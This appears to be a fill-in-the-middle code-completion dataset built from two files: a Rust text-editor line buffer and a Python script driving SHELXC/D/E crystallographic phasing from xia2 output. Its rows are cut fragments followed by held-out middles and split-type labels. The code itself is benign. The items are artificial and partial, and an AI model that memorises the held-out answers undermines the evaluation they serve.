-> Result<(), &'static str>
{
// Overwrite current char with given char
self.buffer[index].tag = tag;
Ok(())
}
// Take an iterator over &str as data
fn insert<'a>(&mut self, data: &mut dyn Iterator<Item = &'a str>, index: usize)
-> Result<(), &'static str>
{
// Possible TODO: preallocate for the insert
verify_index(self, index)?;
self.saved = false;
// To minimise time complexity we split the vector immediately
let mut tail = self.buffer.split_off(index);
// Then append the insert data
for line in data {
self.buffer.push(Line{tag: '\0', matched: false, text: line.to_string()});
}
// And finally the cut off tail
self.buffer.append(&mut tail);
Ok(())
}
fn cut(&mut self, selection: (usize, usize)) -> Result<(), &'static str>
{
verify_selection(self, selection)?;
self.saved = false;
let mut tail = self.buffer.split_off(selection.1 + 1);
self.clipboard = self.buffer.split_off(selection.0);
self.buffer.append(&mut tail);
Ok(())
}
fn change<'a>(&mut self, data: &mut dyn Iterator<Item = &'a str>, selection: (usize, usize))
-> Result<(), &'static str>
{
verify_selection(self, selection)?;
self.saved = false;
let mut tail = self.buffer.split_off(selection.1 + 1);
self.clipboard = self.buffer.split_off(selection.0);
for line in data {
self.buffer.push(Line{tag: '\0', matched: false, text: line.to_string()});
}
self.buffer.append(&mut tail);
Ok(())
}
fn mov(&mut self, selection: (usize, usize), index: usize) -> Result<(), &'static str> {
verify_selection(self, selection)?;
verify_index(self, index)?;
// Operation varies depending on moving forward or back
if index <= selection.0 {
// split out the relevant parts of the buffer
let mut tail = self.buffer.split_off(selection.1 + 1);
let mut data = self.buffer.split_off(selection.0);
let mut middle = self.buffer.split_off(index.saturating_sub(1));
// Reassemble
self.buffer.append(&mut data);
self.buffer.append(&mut middle);
self.buffer.append(&mut tail);
Ok(())
}
else if index >= selection.1 {
// split out the relevant parts of the buffer
let mut tail = self.buffer.split_off(index);
let mut middle = self.buffer.split_off(selection.1 + 1);
let mut data = self.buffer.split_off(selection.0);
// Reassemble
self.buffer.append(&mut middle);
self.buffer.append(&mut data);
self.buffer.append(&mut tail);
Ok(())
}
else {
Err(MOVE_INTO_SELF)
}
}
fn mov_copy(&mut self, selection: (usize, usize), index: usize) -> Result<(), &'static str> {
verify_selection(self, selection)?;
verify_index(self, index)?;
// Get the data
let mut data = Vec::new();
for line in &self.buffer[selection.0 ..= selection.1] {
data.push(line.clone());
}
// Insert it, subtract one if copying to before selection
let i = if index <= selection.0 {
index.saturating_sub(1)
}
else {
index
};
let mut tail = self.buffer.split_off(i);
self.buffer.append(&mut data);
self.buffer.append(&mut tail);
Ok(())
}
fn join(&mut self, selection: (usize, usize)) -> Result<(), &'static str> {
verify_selection(self, selection)?;
// Take out the lines that should go away efficiently
let mut tail = self.buffer.split_off(selection.1 + 1);
let data = self.buffer.split_off(selection.0 + 1);
self.buffer.append(&mut tail);
// Add their contents to the line left in
for line in data {
self.buffer[selection.0].text.pop(); // Remove the existing newline
self.buffer[selection.0].text.push_str(&line.text); // Add in the line
}
Ok(())
}
fn copy(&mut self, selection: (usize, usize)) -> Result<(), &'static str> {
verify_selection(self, selection)?;
self.clipboard = Vec::new();
// copy out each line in selection
for line in &self.buffer[selection.0 ..= selection.1] {
self.clipboard.push(line.clone());
}
Ok(())
}
fn paste(&mut self, index: usize) -> Result<usize, &'static str> {
verify_index(self, index)?;
// Cut off the tail in one go, to reduce time complexity
let mut tmp = self.buffer.split_off(index);
// Then append copies of all lines in clipboard
for line in &self.clipboard {
self.buffer.push(line.clone());
}
// Finally put back the tail
self.buffer.append(&mut tmp);
Ok(self.clipboard.len())
}
fn search_replace(&mut self, pattern: (&str, &str), selection: (usize, usize), global: bool) -> Result<(usize, usize), &'static str>
{
use regex::RegexBuilder;
// ensure that the selection is valid
verify_selection(self, selection)?;
self.saved = false; // TODO: actually check if changes are made
// Compile the regex used to match/extract data
let regex = RegexBuilder::new(pattern.0)
.multi_line(true)
.build()
.map_err(|_| INVALID_REGEX)
?;
let mut selection_after = selection;
// Cut out the whole selection from buffer
let mut tail = self.buffer.split_off(selection.1 + 1);
let before = self.buffer.split_off(selection.0 + 1);
// Save ourselves a little bit of copying/allocating
let mut tmp = self.buffer.pop().unwrap();
// Then join all selected lines together
for line in before {
tmp.text.push_str(&line.text);
}
// Run the search-replace over it
let mut after = if global {
regex.replace_all(&tmp.text, pattern.1).to_string()
}
else {
regex.replace(&tmp.text, pattern.1).to_string()
};
// If there is no newline at the end, join next line
if !after.ends_with('\n') {
if tail.len() > 0 {
after.push_str(&tail.remove(0).text);
}
else {
after.push('\n');
}
}
// Split on newlines and add all lines to the buffer
for line in after.lines() {
self.buffer.push(Line{tag: '\0', matched: false, text: format!("{}\n", line)});
}
// Get the end of the affected area from current bufferlen
selection_after.1 = self.buffer.len();
// Then put the tail back
self.buffer.append(&mut tail);
Ok(selection_after)
}
fn read_from(&mut self, path: &str, index: Option<usize>, must_exist: bool)
-> Result<usize, &'static str>
{
if let Some(i) = index { verify_index(self, i)?; }
let data = file::read_file(path, must_exist)?;
let len = data.len();
let mut iter = data.iter().map(| string | &string[..]);
let i = match index {
Some(i) => i,
// Since .change is not safe on an empty selection and we actually just wish to delete everything
None => {
self.buffer.clear();
0
},
};
self.insert(&mut iter, i)?;
Ok(len)
}
fn | (&mut self, selection: Option<(usize, usize)>, path: &str, append: bool)
-> Result<(), &'static str>
{
let data = match selection {
Some(sel) => self.get_selection(sel)?,
None => Box::new(self.buffer[..].iter().map(|line| &line.text[..])),
};
file::write_file(path, data, append)?;
if selection == Some((0, self.len().saturating_sub(1))) || selection.is_none() {
self.saved = true;
}
Ok(())
}
fn saved(&self) -> bool {
self.saved
}
// The output command
fn get_selection<'a>(&'a self, selection: (usize, usize))
-> Result<Box<dyn Iterator<Item = &'a str> + 'a>, &'static str>
{
verify_selection(self, selection)?;
let tmp = self.buffer[selection.0 ..= selection.1].iter().map(|line| &line.text[..]);
Ok(Box::new(tmp))
}
}
| write_to | identifier_name |
mod.rs | use core::iter::Iterator;
use super::*;
use crate::error_consts::*;
//#[test]
//mod test;
#[derive(Clone)]
pub struct Line {
tag: char,
matched: bool,
text: String,
}
pub struct VecBuffer {
saved: bool,
// Chars used for tagging. No tag equates to NULL in the char
buffer: Vec<Line>,
clipboard: Vec<Line>,
}
impl VecBuffer {
pub fn new() -> Self
{
Self{ | buffer: Vec::new(),
clipboard: Vec::new(),
}
}
}
impl Buffer for VecBuffer {
// Index operations, get and verify
fn len(&self) -> usize {
self.buffer.len()
}
fn get_tag(&self, tag: char)
-> Result<usize, &'static str>
{
let mut index = 0;
for line in &self.buffer[..] {
if &tag == &line.tag { return Ok(index); }
index += 1;
}
Err(NO_MATCH)
}
fn get_matching(&self, pattern: &str, curr_line: usize, backwards: bool)
-> Result<usize, &'static str>
{
verify_index(self, curr_line)?;
use regex::RegexBuilder;
let regex = RegexBuilder::new(pattern)
.multi_line(true)
.build()
.map_err(|_| INVALID_REGEX)
?;
// Figure out how far to iterate
let length = if ! backwards {
self.buffer.len().saturating_sub(curr_line + 1)
} else {
curr_line
};
// Since the range must be positive we subtract from bufferlen for backwards
for index in 0 .. length {
if backwards {
if regex.is_match(&(self.buffer[curr_line - 1 - index].text)) {
return Ok(curr_line - 1 - index)
}
} else {
if regex.is_match(&(self.buffer[curr_line + index + 1].text)) {
return Ok(curr_line + index + 1)
}
}
}
Err(NO_MATCH)
}
// For macro commands
fn mark_matching(&mut self, pattern: &str, selection: (usize, usize), inverse: bool)
-> Result<(), &'static str>
{
use regex::RegexBuilder;
verify_selection(self, selection)?;
let regex = RegexBuilder::new(pattern)
.multi_line(true)
.build()
.map_err(|_| INVALID_REGEX)
?;
for index in 0 .. self.len() {
if index >= selection.0 && index <= selection.1 {
self.buffer[index].matched = regex.is_match(&(self.buffer[index].text)) ^ inverse;
}
else {
self.buffer[index].matched = false;
}
}
Ok(())
}
fn get_marked(&mut self)
-> Result<Option<usize>, &'static str>
{
for index in 0 .. self.buffer.len() {
if self.buffer[index].matched {
self.buffer[index].matched = false;
return Ok(Some(index));
}
}
Ok(None)
}
// Simple buffer modifications:
fn tag_line(&mut self, index: usize, tag: char)
-> Result<(), &'static str>
{
// Overwrite current char with given char
self.buffer[index].tag = tag;
Ok(())
}
// Take an iterator over &str as data
fn insert<'a>(&mut self, data: &mut dyn Iterator<Item = &'a str>, index: usize)
-> Result<(), &'static str>
{
// Possible TODO: preallocate for the insert
verify_index(self, index)?;
self.saved = false;
// To minimise time complexity we split the vector immediately
let mut tail = self.buffer.split_off(index);
// Then append the insert data
for line in data {
self.buffer.push(Line{tag: '\0', matched: false, text: line.to_string()});
}
// And finally the cut off tail
self.buffer.append(&mut tail);
Ok(())
}
fn cut(&mut self, selection: (usize, usize)) -> Result<(), &'static str>
{
verify_selection(self, selection)?;
self.saved = false;
let mut tail = self.buffer.split_off(selection.1 + 1);
self.clipboard = self.buffer.split_off(selection.0);
self.buffer.append(&mut tail);
Ok(())
}
fn change<'a>(&mut self, data: &mut dyn Iterator<Item = &'a str>, selection: (usize, usize))
-> Result<(), &'static str>
{
verify_selection(self, selection)?;
self.saved = false;
let mut tail = self.buffer.split_off(selection.1 + 1);
self.clipboard = self.buffer.split_off(selection.0);
for line in data {
self.buffer.push(Line{tag: '\0', matched: false, text: line.to_string()});
}
self.buffer.append(&mut tail);
Ok(())
}
fn mov(&mut self, selection: (usize, usize), index: usize) -> Result<(), &'static str> {
verify_selection(self, selection)?;
verify_index(self, index)?;
// Operation varies depending on moving forward or back
if index <= selection.0 {
// split out the relevant parts of the buffer
let mut tail = self.buffer.split_off(selection.1 + 1);
let mut data = self.buffer.split_off(selection.0);
let mut middle = self.buffer.split_off(index.saturating_sub(1));
// Reassemble
self.buffer.append(&mut data);
self.buffer.append(&mut middle);
self.buffer.append(&mut tail);
Ok(())
}
else if index >= selection.1 {
// split out the relevant parts of the buffer
let mut tail = self.buffer.split_off(index);
let mut middle = self.buffer.split_off(selection.1 + 1);
let mut data = self.buffer.split_off(selection.0);
// Reassemble
self.buffer.append(&mut middle);
self.buffer.append(&mut data);
self.buffer.append(&mut tail);
Ok(())
}
else {
Err(MOVE_INTO_SELF)
}
}
fn mov_copy(&mut self, selection: (usize, usize), index: usize) -> Result<(), &'static str> {
verify_selection(self, selection)?;
verify_index(self, index)?;
// Get the data
let mut data = Vec::new();
for line in &self.buffer[selection.0 ..= selection.1] {
data.push(line.clone());
}
// Insert it, subtract one if copying to before selection
let i = if index <= selection.0 {
index.saturating_sub(1)
}
else {
index
};
let mut tail = self.buffer.split_off(i);
self.buffer.append(&mut data);
self.buffer.append(&mut tail);
Ok(())
}
fn join(&mut self, selection: (usize, usize)) -> Result<(), &'static str> {
verify_selection(self, selection)?;
// Take out the lines that should go away efficiently
let mut tail = self.buffer.split_off(selection.1 + 1);
let data = self.buffer.split_off(selection.0 + 1);
self.buffer.append(&mut tail);
// Add their contents to the line left in
for line in data {
self.buffer[selection.0].text.pop(); // Remove the existing newline
self.buffer[selection.0].text.push_str(&line.text); // Add in the line
}
Ok(())
}
fn copy(&mut self, selection: (usize, usize)) -> Result<(), &'static str> {
verify_selection(self, selection)?;
self.clipboard = Vec::new();
// copy out each line in selection
for line in &self.buffer[selection.0 ..= selection.1] {
self.clipboard.push(line.clone());
}
Ok(())
}
fn paste(&mut self, index: usize) -> Result<usize, &'static str> {
verify_index(self, index)?;
// Cut off the tail in one go, to reduce time complexity
let mut tmp = self.buffer.split_off(index);
// Then append copies of all lines in clipboard
for line in &self.clipboard {
self.buffer.push(line.clone());
}
// Finally put back the tail
self.buffer.append(&mut tmp);
Ok(self.clipboard.len())
}
fn search_replace(&mut self, pattern: (&str, &str), selection: (usize, usize), global: bool) -> Result<(usize, usize), &'static str>
{
use regex::RegexBuilder;
// ensure that the selection is valid
verify_selection(self, selection)?;
self.saved = false; // TODO: actually check if changes are made
// Compile the regex used to match/extract data
let regex = RegexBuilder::new(pattern.0)
.multi_line(true)
.build()
.map_err(|_| INVALID_REGEX)
?;
let mut selection_after = selection;
// Cut out the whole selection from buffer
let mut tail = self.buffer.split_off(selection.1 + 1);
let before = self.buffer.split_off(selection.0 + 1);
// Save ourselves a little bit of copying/allocating
let mut tmp = self.buffer.pop().unwrap();
// Then join all selected lines together
for line in before {
tmp.text.push_str(&line.text);
}
// Run the search-replace over it
let mut after = if global {
regex.replace_all(&tmp.text, pattern.1).to_string()
}
else {
regex.replace(&tmp.text, pattern.1).to_string()
};
// If there is no newline at the end, join next line
if !after.ends_with('\n') {
if tail.len() > 0 {
after.push_str(&tail.remove(0).text);
}
else {
after.push('\n');
}
}
// Split on newlines and add all lines to the buffer
for line in after.lines() {
self.buffer.push(Line{tag: '\0', matched: false, text: format!("{}\n", line)});
}
// Get the end of the affected area from current bufferlen
selection_after.1 = self.buffer.len();
// Then put the tail back
self.buffer.append(&mut tail);
Ok(selection_after)
}
fn read_from(&mut self, path: &str, index: Option<usize>, must_exist: bool)
-> Result<usize, &'static str>
{
if let Some(i) = index { verify_index(self, i)?; }
let data = file::read_file(path, must_exist)?;
let len = data.len();
let mut iter = data.iter().map(| string | &string[..]);
let i = match index {
Some(i) => i,
// Since .change is not safe on an empty selection and we actually just wish to delete everything
None => {
self.buffer.clear();
0
},
};
self.insert(&mut iter, i)?;
Ok(len)
}
fn write_to(&mut self, selection: Option<(usize, usize)>, path: &str, append: bool)
-> Result<(), &'static str>
{
let data = match selection {
Some(sel) => self.get_selection(sel)?,
None => Box::new(self.buffer[..].iter().map(|line| &line.text[..])),
};
file::write_file(path, data, append)?;
if selection == Some((0, self.len().saturating_sub(1))) || selection.is_none() {
self.saved = true;
}
Ok(())
}
fn saved(&self) -> bool {
self.saved
}
// The output command
fn get_selection<'a>(&'a self, selection: (usize, usize))
-> Result<Box<dyn Iterator<Item = &'a str> + 'a>, &'static str>
{
verify_selection(self, selection)?;
let tmp = self.buffer[selection.0 ..= selection.1].iter().map(|line| &line.text[..]);
Ok(Box::new(tmp))
}
} | saved: true, | random_line_split |
simple_xia2_to_shelxcde_new.py | #!/bin/env python3
import argparse
import fileinput
import sys
import shutil
import os
import procrunner
import gemmi
import re
from xia2_json_reader import xia2_json_reader
from mtz_data_object import MtzData
from seq_data_object import SeqData
from matth_coeff_function_object import MattCoeff, matt_coeff_factory
from generate_possible_spacegroups import generate
from multiprocessing import Pool, Process
def | (name, cell, wavelengths, sg, find, ntry=1000):
print("SHELXC")
print("======")
cell_round = tuple(map(lambda x: isinstance(x, float) and round(x, 2) or x, cell))
keywords = []
for w in wavelengths:
label = w['label']
sca = os.path.relpath(w['sca'])
keywords.append("{0} {1}\n".format(label, sca))
keywords.append("CELL {} {} {} {} {} {}\n".format(*cell_round))
keywords.append("SPAG {0}\n".format(sg))
keywords.append("FIND {0}\n".format(find))
keywords.append("NTRY {0}\n".format(ntry))
result = procrunner.run(["shelxc", name],
stdin="".join(keywords).encode('utf-8'),
print_stdout=True)
# for w in wavelengths:
# label = w["name"]
# sca = os.path.relpath(w['sca'])
#
# keywords_shelxc = """{0} {1}
#CELL {2} {3} {4} {5} {6} {7}
#SPAG {8}
#FIND {9}
#NTRY {10}
#"""
# fmt = (label,) + (sca,) + cell_round + (sg,) + (find,) + (ntry,)
# keywords = keywords_shelxc.format(*fmt)
# print(keywords)
# print(keywords.encode("utf-8"))
#
# result = procrunner.run(["shelxc", name],
# stdin=keywords.encode("utf-8"),
# print_stdout=True)
return result
def simpleSHELXD(name):
print("SHELXD")
print("======")
# check required file exists
fa = name + '_fa'
if not os.path.exists(fa + '.ins'):
raise RuntimeError('Could not find {0}'.format(fa + '.ins'))
else:
with open('%s.ins' %fa) as f:
s = f.read()
s = s.replace('SEED 1', 'SEED 42')
with open('%s.ins' %fa, 'w') as f:
f.write(s)
f.close()
result = procrunner.run(["shelxd", fa])
#print_stdout=False)
return result
def simpleSHELXE(name, find, solvent_frac=0.5, inverse_hand=False):
fa = name + '_fa'
solvent = "-s{0}".format(round(solvent_frac), 4)
m_value = "-m"
h_value = "-h{0}".format(find)
z_value = "-z{0}".format(find)
msg = "SHELXE - {0} hand"
if not inverse_hand:
msg = msg.format("original")
print(msg)
print("=" * len(msg))
result = procrunner.run(["shelxe",
name,
fa,
solvent,
m_value,
h_value,
z_value,
"-a5",
"-q"])
#print_stdout=True)
if inverse_hand:
msg = msg.format("inverse")
print(msg)
print("=" * len(msg))
result = procrunner.run(["shelxe",
name,
fa,
solvent,
m_value,
h_value,
z_value,
"-a5",
"-q",
"-i"])
#print_stdout=True)
# check required files exist
if not os.path.exists(fa + '.ins'):
raise RuntimeError('Could not find {0}'.format(fa + '.ins'))
return result
#fix to use newer shelxe; use line below when CCP4 has been updated
# cmd = "/dls_sw/apps/shelx/64/2017-1/shelxe {0} {1} -s{2} -m200 -h{3} -z{3} -e1".format(name, fa, solvent_frac, find)
#below is original line which is not used for this run
#cmd = "/dls_sw/apps/shelx/64/2017-1/shelxe {0} {1} -s{2} -m -h{3} -z{3} -a5 -q".format(name, fa, solvent_frac, find)
#cmd = "shelxe {0} {1} -s{2} -m0 -h{3} -z{3} ".format(name, fa, solvent_frac, find)#NO solvent and initial phases
#cmd = "shelxe {0} {1} -s{2} -h{3} -z{3} ".format(name, fa, solvent_frac, find)#solvent and initial phases
#cmd = "shelxe {0} {1} -s{2} -m20 -h{3} -z{3} ".format(name, fa, solvent_frac, find)#solvent flattening
#cmd = "shelxe {0} {1} -s{2} -m200 -h{3} -z{3} ".format(name, fa, solvent_frac, find)#more solvent flattening
#cmd = "shelxe {0} {1} -s{2} -m200 -h{3} -z{3} -e1".format(name, fa, solvent_frac, find)#solvent flattening and free-lunch algorithm
def copy_sca_locally(wavelengths):
'''Copy .sca files locally to work around problem at DLS where SHELX fails
to find the files'''
for w in wavelengths:
f = os.path.basename(w['sca'])
shutil.copy(w['sca'], '.')
w['sca'] = os.path.abspath(f)
return wavelengths
if __name__ == '__main__':
########################################################################
### receive command line arguments
########################################################################
parser = argparse.ArgumentParser()
parser.add_argument('--name', help='filename stem for SHELX')
parser.add_argument('--xia2dir', help='path to a xia2 processing directory')
parser.add_argument('--seqin', help='name of input sequence file')
parser.add_argument('--atom', help="heavy atom (default to 'Se')")
parser.add_argument('--ntry', help="override ntry for SHELX (default 1000)")
parser.add_argument('--type', help="override SHELXE type (default 'trace')")
args = parser.parse_args()
if args.name is None:
raise RuntimeError('Need to specify a filename stem for SHELX')
if args.xia2dir is None:
raise RuntimeError('Need to specify the path to the xia2 processing directory')
else:
if not os.path.exists(args.xia2dir):
raise RuntimeError('%s does not exist' % args.xia2dir)
if args.atom is None:
print("Defaulting to --atom Se")
args.atom = "Se"
if args.ntry is None:
print("Defaulting to --ntry 1000")
args.ntry = 1000
########################################################################
### find xia2.json and extract information
########################################################################
# Find xia2.json
xia2json = os.path.join(args.xia2dir, 'xia2.json')
if not os.path.exists(xia2json):
raise RuntimeError('%s does not exist' % xia2json)
# Extract data from xia2.json
xia2_dat = xia2_json_reader(xia2json)
########################################################################
### get xia2 point group and create list of possible space groups
########################################################################
# determine spacegroups for pointgroup
space_groups = generate(gemmi.SpaceGroup(xia2_dat.sg_name))
########################################################################
### copy SCA file locally
########################################################################
# copy .sca files locally and update the wavelengths dictionary
wl = copy_sca_locally(xia2_dat.wavelengths)
########################################################################
### identify experimental phasing wavelengths
########################################################################
# Try to identify the wavelengths given the chosen scatterer
xia2_dat.identify_wavelengths(args.atom)
########################################################################
### find scaled MTZ file
########################################################################
# Find scaled mtz
scaled_mtz = xia2_dat.scaled_mtz
########################################################################
### use Matthews coefficient and sequence to get number of sites
### to look for
########################################################################
# If we have the sequence, make SeqData and MattCoeff objects to calculate various
# quantities
find = 10
if args.seqin is None:
seqdata = None
matt_coeff = None
#num_molecules = None
print("No sequence supplied. The number of sites will default to 10")
else:
seqdata = SeqData(args.seqin)
num_met = seqdata.num_methionin()
print("Num Met: ", num_met)
matt_coeff = matt_coeff_factory(scaled_mtz, args.seqin)
# Set 'find' if SeMet
if args.atom.upper() == "SE":
find = matt_coeff.num_molecules() * seqdata.num_methionin()
else:
print("Sequence supplied, but the scatterer is not Se, so the number of "
"sites will default to 10 anyway")
########################################################################
### get working directory
########################################################################
cwd = os.path.normpath(os.getcwd())
########################################################################
### create sub-directories for each space group and create lists to
### monitor phasing results
########################################################################
cfom = []
c_output = []
for sg in space_groups:
sg_str = str(sg)
sg_str = str(sg_str).strip('<gemmi.SpaceGroup("')
sg_str = str(sg_str).strip('")>')
sg_str = "".join(sg_str.split())
print("Trying {0} \n".format(sg_str))
os.chdir(cwd)
if "(" in sg_str:
pass
elif "a" in sg_str:
pass
else:
if not os.path.exists(sg_str):
os.mkdir(sg_str)
os.chdir(sg_str)
########################################################################
### run shelx C and D functions
########################################################################
# Run SHELXC
c_output.append(simpleSHELXC(args.name,
xia2_dat.cell,
wl,
sg_str,
find,
args.ntry))
#print(c_output)
# Run SHELXD
d_output = simpleSHELXD(args.name)
# Get CFOM from .res
try:
with open(args.name + '_fa.res', "r") as f:
for line in f:
if "SHELXD" in line:
cfom.append(float(line.split()[-1]))
except IOError:
cfom.append(0)
os.chdir(cwd)
best_idx = cfom.index(max(cfom))
print("Best index", best_idx)
best_sg = str(space_groups[best_idx]).strip('<gemmi.SpaceGroup("')
best_sg = str(best_sg).strip('")>')
best_sg = "".join(best_sg.split())
print("Best sg", best_sg)
print("Best space group: %s with CFOM=%s" %(str(best_sg),
str(cfom[best_idx])))
print(c_output[best_idx])
c_output = c_output[best_idx]
for line in c_output:
if line.startswith(' Resl'): print(line)
if line.startswith(' <d"/sig>'): print(line)
if line.startswith(' CC(1/2)'): print(line)
os.chdir(best_sg)
########################################################################
### run shelx E functions for best_sg
########################################################################
# Run SHELXE
solvent_frac = 0.5 if matt_coeff is None else matt_coeff.solvent_fraction(
matt_coeff.num_molecules())
# original hand
e_output_ori = simpleSHELXE(args.name,
find,
solvent_frac)
try:
with open(args.name + '.lst') as f:
for line in f.readlines():
if line.startswith('Best trace'): print(line)
except IOError:
pass
# inverse hand
e_output_inv = simpleSHELXE(args.name,
find,
solvent_frac,
inverse_hand=True)
try:
with open(args.name + '_i.lst') as f:
for line in f.readlines():
if line.startswith('Best trace'): print(line)
except IOError:
pass
| simpleSHELXC | identifier_name |
simple_xia2_to_shelxcde_new.py | #!/bin/env python3
import argparse
import fileinput
import sys
import shutil
import os
import procrunner
import gemmi
import re
from xia2_json_reader import xia2_json_reader
from mtz_data_object import MtzData
from seq_data_object import SeqData
from matth_coeff_function_object import MattCoeff, matt_coeff_factory
from generate_possible_spacegroups import generate
from multiprocessing import Pool, Process
def simpleSHELXC(name, cell, wavelengths, sg, find, ntry=1000):
print("SHELXC")
print("======")
cell_round = tuple(map(lambda x: isinstance(x, float) and round(x, 2) or x, cell))
keywords = []
for w in wavelengths:
label = w['label']
sca = os.path.relpath(w['sca'])
keywords.append("{0} {1}\n".format(label, sca))
keywords.append("CELL {} {} {} {} {} {}\n".format(*cell_round))
keywords.append("SPAG {0}\n".format(sg))
keywords.append("FIND {0}\n".format(find))
keywords.append("NTRY {0}\n".format(ntry))
result = procrunner.run(["shelxc", name],
stdin="".join(keywords).encode('utf-8'),
print_stdout=True)
# for w in wavelengths:
# label = w["name"]
# sca = os.path.relpath(w['sca'])
#
# keywords_shelxc = """{0} {1}
#CELL {2} {3} {4} {5} {6} {7}
#SPAG {8}
#FIND {9}
#NTRY {10}
#"""
# fmt = (label,) + (sca,) + cell_round + (sg,) + (find,) + (ntry,)
# keywords = keywords_shelxc.format(*fmt)
# print(keywords)
# print(keywords.encode("utf-8"))
#
# result = procrunner.run(["shelxc", name],
# stdin=keywords.encode("utf-8"),
# print_stdout=True)
return result
def simpleSHELXD(name):
print("SHELXD")
print("======")
# check required file exists
fa = name + '_fa'
if not os.path.exists(fa + '.ins'):
raise RuntimeError('Could not find {0}'.format(fa + '.ins'))
else:
with open('%s.ins' %fa) as f:
s = f.read()
s = s.replace('SEED 1', 'SEED 42')
with open('%s.ins' %fa, 'w') as f:
f.write(s)
f.close()
result = procrunner.run(["shelxd", fa])
#print_stdout=False)
return result
def simpleSHELXE(name, find, solvent_frac=0.5, inverse_hand=False):
fa = name + '_fa'
solvent = "-s{0}".format(round(solvent_frac), 4)
m_value = "-m"
h_value = "-h{0}".format(find)
z_value = "-z{0}".format(find)
msg = "SHELXE - {0} hand"
if not inverse_hand:
msg = msg.format("original")
print(msg)
print("=" * len(msg))
result = procrunner.run(["shelxe",
name,
fa,
solvent,
m_value,
h_value,
z_value,
"-a5",
"-q"])
#print_stdout=True)
if inverse_hand:
msg = msg.format("inverse")
print(msg)
print("=" * len(msg))
result = procrunner.run(["shelxe",
name,
fa,
solvent,
m_value,
h_value,
z_value,
"-a5",
"-q",
"-i"])
#print_stdout=True)
# check required files exist
if not os.path.exists(fa + '.ins'):
raise RuntimeError('Could not find {0}'.format(fa + '.ins'))
return result
#fix to use newer shelxe; use line below when CCP4 has been updated
# cmd = "/dls_sw/apps/shelx/64/2017-1/shelxe {0} {1} -s{2} -m200 -h{3} -z{3} -e1".format(name, fa, solvent_frac, find)
#below is original line which is not used for this run
#cmd = "/dls_sw/apps/shelx/64/2017-1/shelxe {0} {1} -s{2} -m -h{3} -z{3} -a5 -q".format(name, fa, solvent_frac, find)
#cmd = "shelxe {0} {1} -s{2} -m0 -h{3} -z{3} ".format(name, fa, solvent_frac, find)#NO solvent and initial phases
#cmd = "shelxe {0} {1} -s{2} -h{3} -z{3} ".format(name, fa, solvent_frac, find)#solvent and initial phases
#cmd = "shelxe {0} {1} -s{2} -m20 -h{3} -z{3} ".format(name, fa, solvent_frac, find)#solvent flattening
#cmd = "shelxe {0} {1} -s{2} -m200 -h{3} -z{3} ".format(name, fa, solvent_frac, find)#more solvent flattening
#cmd = "shelxe {0} {1} -s{2} -m200 -h{3} -z{3} -e1".format(name, fa, solvent_frac, find)#solvent flattening and free-lunch algorithm
def copy_sca_locally(wavelengths):
'''Copy .sca files locally to work around problem at DLS where SHELX fails
to find the files'''
for w in wavelengths:
f = os.path.basename(w['sca'])
shutil.copy(w['sca'], '.')
w['sca'] = os.path.abspath(f)
return wavelengths
if __name__ == '__main__':
########################################################################
### receive command line arguments
########################################################################
parser = argparse.ArgumentParser()
parser.add_argument('--name', help='filename stem for SHELX')
parser.add_argument('--xia2dir', help='path to a xia2 processing directory')
parser.add_argument('--seqin', help='name of input sequence file')
parser.add_argument('--atom', help="heavy atom (default to 'Se')")
parser.add_argument('--ntry', help="override ntry for SHELX (default 1000)")
parser.add_argument('--type', help="override SHELXE type (default 'trace')")
args = parser.parse_args()
if args.name is None:
raise RuntimeError('Need to specify a filename stem for SHELX')
if args.xia2dir is None:
|
else:
if not os.path.exists(args.xia2dir):
raise RuntimeError('%s does not exist' % args.xia2dir)
if args.atom is None:
print("Defaulting to --atom Se")
args.atom = "Se"
if args.ntry is None:
print("Defaulting to --ntry 1000")
args.ntry = 1000
########################################################################
### find xia2.json and extract information
########################################################################
# Find xia2.json
xia2json = os.path.join(args.xia2dir, 'xia2.json')
if not os.path.exists(xia2json):
raise RuntimeError('%s does not exist' % xia2json)
# Extract data from xia2.json
xia2_dat = xia2_json_reader(xia2json)
########################################################################
### get xia2 point group and create list of possible space groups
########################################################################
# determine spacegroups for pointgroup
space_groups = generate(gemmi.SpaceGroup(xia2_dat.sg_name))
########################################################################
### copy SCA file locally
########################################################################
# copy .sca files locally and update the wavelengths dictionary
wl = copy_sca_locally(xia2_dat.wavelengths)
########################################################################
### identify experimental phasing wavelengths
########################################################################
# Try to identify the wavelengths given the chosen scatterer
xia2_dat.identify_wavelengths(args.atom)
########################################################################
### find scaled MTZ file
########################################################################
# Find scaled mtz
scaled_mtz = xia2_dat.scaled_mtz
########################################################################
### use Matthews coefficient and sequence to get number of sites
### to look for
########################################################################
# If we have the sequence, make SeqData and MattCoeff objects to calculate various
# quantities
find = 10
if args.seqin is None:
seqdata = None
matt_coeff = None
#num_molecules = None
print("No sequence supplied. The number of sites will default to 10")
else:
seqdata = SeqData(args.seqin)
num_met = seqdata.num_methionin()
print("Num Met: ", num_met)
matt_coeff = matt_coeff_factory(scaled_mtz, args.seqin)
# Set 'find' if SeMet
if args.atom.upper() == "SE":
find = matt_coeff.num_molecules() * seqdata.num_methionin()
else:
print("Sequence supplied, but the scatterer is not Se, so the number of "
"sites will default to 10 anyway")
########################################################################
### get working directory
########################################################################
cwd = os.path.normpath(os.getcwd())
########################################################################
### create sub-directories for each space group and create lists to
### monitor phasing results
########################################################################
cfom = []
c_output = []
for sg in space_groups:
sg_str = str(sg)
sg_str = str(sg_str).strip('<gemmi.SpaceGroup("')
sg_str = str(sg_str).strip('")>')
sg_str = "".join(sg_str.split())
print("Trying {0} \n".format(sg_str))
os.chdir(cwd)
if "(" in sg_str:
pass
elif "a" in sg_str:
pass
else:
if not os.path.exists(sg_str):
os.mkdir(sg_str)
os.chdir(sg_str)
########################################################################
### run shelx C and D functions
########################################################################
# Run SHELXC
c_output.append(simpleSHELXC(args.name,
xia2_dat.cell,
wl,
sg_str,
find,
args.ntry))
#print(c_output)
# Run SHELXD
d_output = simpleSHELXD(args.name)
# Get CFOM from .res
try:
with open(args.name + '_fa.res', "r") as f:
for line in f:
if "SHELXD" in line:
cfom.append(float(line.split()[-1]))
except IOError:
cfom.append(0)
os.chdir(cwd)
best_idx = cfom.index(max(cfom))
print("Best index", best_idx)
best_sg = str(space_groups[best_idx]).strip('<gemmi.SpaceGroup("')
best_sg = str(best_sg).strip('")>')
best_sg = "".join(best_sg.split())
print("Best sg", best_sg)
print("Best space group: %s with CFOM=%s" %(str(best_sg),
str(cfom[best_idx])))
print(c_output[best_idx])
c_output = c_output[best_idx]
for line in c_output:
if line.startswith(' Resl'): print(line)
if line.startswith(' <d"/sig>'): print(line)
